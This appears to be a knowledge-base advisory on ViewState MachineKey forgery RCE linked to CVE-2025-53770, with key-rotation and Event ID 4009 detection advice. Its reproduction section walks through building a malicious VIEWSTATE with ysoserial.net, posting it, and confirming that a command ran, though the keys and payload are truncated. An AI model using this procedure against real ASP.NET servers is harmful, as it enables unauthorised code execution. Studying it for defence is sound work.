—Knowledge Base

ViewState — CVE-2025-53770

Updated 26 May 2026

Background

ViewState MachineKey Forgery RCE

  1. CVSS
    9.8—Critical
  2. VECTOR
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  3. IMPACT
    Remote code execution
  1. AFFECTED
    ASP.NET / IIS≤ all

Approximately 10 days after SharePoint deserialization vulnerabilities (CVE-2025-53770/53771) were exploited, attackers began distributing ASPX shells designed to extract IIS/ASP.NET Machine Keys that protect VIEWSTATE and cookies. With access to a Machine Key — obtained from web.config or registry via uploaded ASPX — attackers can forge legitimate VIEWSTATE payloads using tools like ysoserial.net to achieve Remote Code Execution across applications.

Windows does not automatically rotate autogenerated Machine Keys, requiring manual regeneration after any code execution incident. Defenders should monitor Windows Application Event ID 4009 (VIEWSTATE verification failures) to detect exploitation attempts.

Requirements:

  • VIEWSTATE deserialization with LosFormatter enabled
  • MachineKey (validation key and optional decryption key)
  • Validation algorithm (e.g., HMACSHA256 / SHA1)
  • Application path / appDomain (used when crafting VIEWSTATE)
  • Delivery capability to send malicious VIEWSTATE to the app — such as HTTP POST — or ability to obtain MachineKey via LFI/XXE or by uploading an ASPX to read the registry
Reproduction

POC || GTFO

The demonstration uses findMachineKey.aspx, uploaded to the target ASP.NET webserver, which reads Machine Keys from the registry and web.config file to simulate LFI and/or RCE scenarios.

NOTE: The findMachineKey.aspx file is flagged as an exploit and removed by Windows Threat Protection.

A simple web form accepting POST requests echoes user input and serves as the delivery mechanism for malicious VIEWSTATE payloads.

Step 1 — Download and generate payload

Download ysoserial.net and create a base64-encoded payload:

powershell
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('whoami > C:\Windows\Temp\a.txt'))

Step 2 — Generate malicious VIEWSTATE

Use ysoserial.net with the obtained Machine Key, validation algorithm, and application path:

powershell
$ysoArgs = @(
  '-p','ViewState',
  '-g','TextFormattingRunProperties',
  '-c','"powershell -e dwBo[truncated]HQA"',
  '--path','/default.aspx',
  '--apppath','/',
  '--validationalg','HMACSHA256',
  '--validationkey','B298[truncated]173D',
  '--islegacy',
  '--isdebug'
)
 
.\ysonet.exe @ysoArgs

Output includes the calculated __VIEWSTATEGENERATOR and encoded payload.

Step 3 — Send POST request

Submit the malicious VIEWSTATE payload to the target application. A 500 Internal Server Error response indicates successful exploitation.

Step 4 — Verify execution

Confirm command execution by checking for the created file: C:\Windows\Temp\a.txt

References

Further reading